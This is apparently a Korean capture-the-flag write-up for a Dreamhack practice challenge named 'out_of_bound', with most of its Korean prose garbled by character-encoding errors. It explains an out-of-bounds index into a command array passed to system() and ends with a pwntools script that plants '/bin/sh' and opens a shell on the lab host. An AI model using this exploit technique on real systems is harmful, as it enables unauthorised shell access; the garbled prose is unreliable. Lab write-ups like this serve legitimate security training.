out_of_bound
out_of_bound
๋ฌธ์ ํ์ด
๋ฐฐ์ด์ ์ ํด์ง ์ธ๋ฑ์ค๋ฅผ ๋๋ Out of bound ๋ฌธ์ ๋ก์จ
x86..์ผ๋ก Canary์ NX๊ฐ ์กด์ฌํ๋ค์
name[16]์ command์ ๋ฌธ์ ๋ฐฐ์ด์ ๋ด์ ๋ฐฐ์ด์ด ์กด์ฌํฉ๋๋ค.
main์ด ์ค์ฌ์ด๋๊น ํ์ธํด๋ณด์๋ฉด name์ ์
๋ ฅ ๋ฐ๋๋ฐ ํ์ idx๋ฅผ ์
๋ ฅ ํ system์ command์ ๋ฐฐ์ด์
๋ฃ์ด์ฃผ๋ ๋ชจ์ต์ ๋ณด๋๊น ํ์คํ oob ๋ฌธ์ ์ธ ๋ฏํ๋ค์ ๊ฒฐ๊ตญ ์ฐ๋ฆฌ๊ฐ ์คํํ ํจ์๋
system("/bin/sh")์ด๋ฏ๋ก command์๋ "/bin/sh"๊ฐ ์์ผ๋ฏ๋ก idx์ ๊ฐ์ ํ์ฉํด
command์ 10์ ๋์ด์ ์ฝ๋๋ฅผ ์๋ํ๋ค๋ ์ ์
๋๋ค
Exploit ์ค๊ณ
name ๋ณ์๊ฐ ์ค์ ํ command์ ๋ณ์๊ฐ ์ค์ ๋๋ฏ๋ก name๋ณ์๊ฐ ์คํ์ ์์น๋ฅผ ํ์ธํด๋ด์
์คํ์ ์์ด๊ธฐ ๋๋ฌธ์ ์๋ง ๋ ๋์ ๋ณ์์ ์กด์ฌํ ๊ฐ๋ฅ์ฑ์ด ์์ฃ ๊ทธ๋ผ 10๋ณด๋ค ํฐ ๊ฐ์ ์ ๋นํ ๋ฃ๋๋ค๋ฉด
์ธ์ ๊ฐ name์ ๋ณ์์ ๋ฟ๊ณ name์ "/bin/sh"๋ฅผ ์
๋ ฅํ์ฌ ๊ทธ ๊ฐ์ ๋ฃ๋๋ค๋ฉด?
๊ทธ๋ผ command์ name ์ฌ์ด์ ๊ฑฐ๋ฆฌ๋ง ๊ตฌํ๋ฉด exploit code๊ฐ ์๋๋๊ฒ ๋ค์
๊ทธ๋ผ ๋ฐ๋ก ์์ํด๋ณผ๊น์?
Exploit
name๊ณผ command์ ์ฃผ์๋ฅผ ์์๋ด์ผํ๋ฏ๋ก ์ด์ C์ฝ๋๋ฅผ ํ์ธํ๋ฉด์ disasํฉ์๋ค
read์ ๋ฃ์ ๊ฐ์ name์ ์๊ธฐ์ main+66์ผ๋ก ๋ฃ์ผ๋ฉด..
๋ํ command๋ scanf๋ก ๋ฐ์ ์์น๋ฅผ ์ฐธ๊ณ ํ๋ฉด(์ธ์๋ฅผ ์๊ฐํ๋ฉด์ ํ๋ฉด)
76.. ์ฐ๋ฆฌ๋ x86์ด๋ฏ๋ก 4byte๋ก ๋๋๋ค๋ฉด 76/4 = 18 obbํ ๊ฑฐ๋ฉด 1๋ํด์ผํ๋๊น 19๋ก ์ ์ด์ผํฉ๋๋ค
123456789101112 from pwn import *p = remote("host3.dreamhack.games", 18131)name_address = 0x0804A0AC + 4name = p32(name_address) + b"/bin/sh"p.sendafter("Admin name: ", name)p.sendlineafter("What do you want?: ", str(19))p.interactive()cs
์ฐธ๊ณ ์๋ฃ
์ฐธ๊ณ ์ด๋ฏธ์ง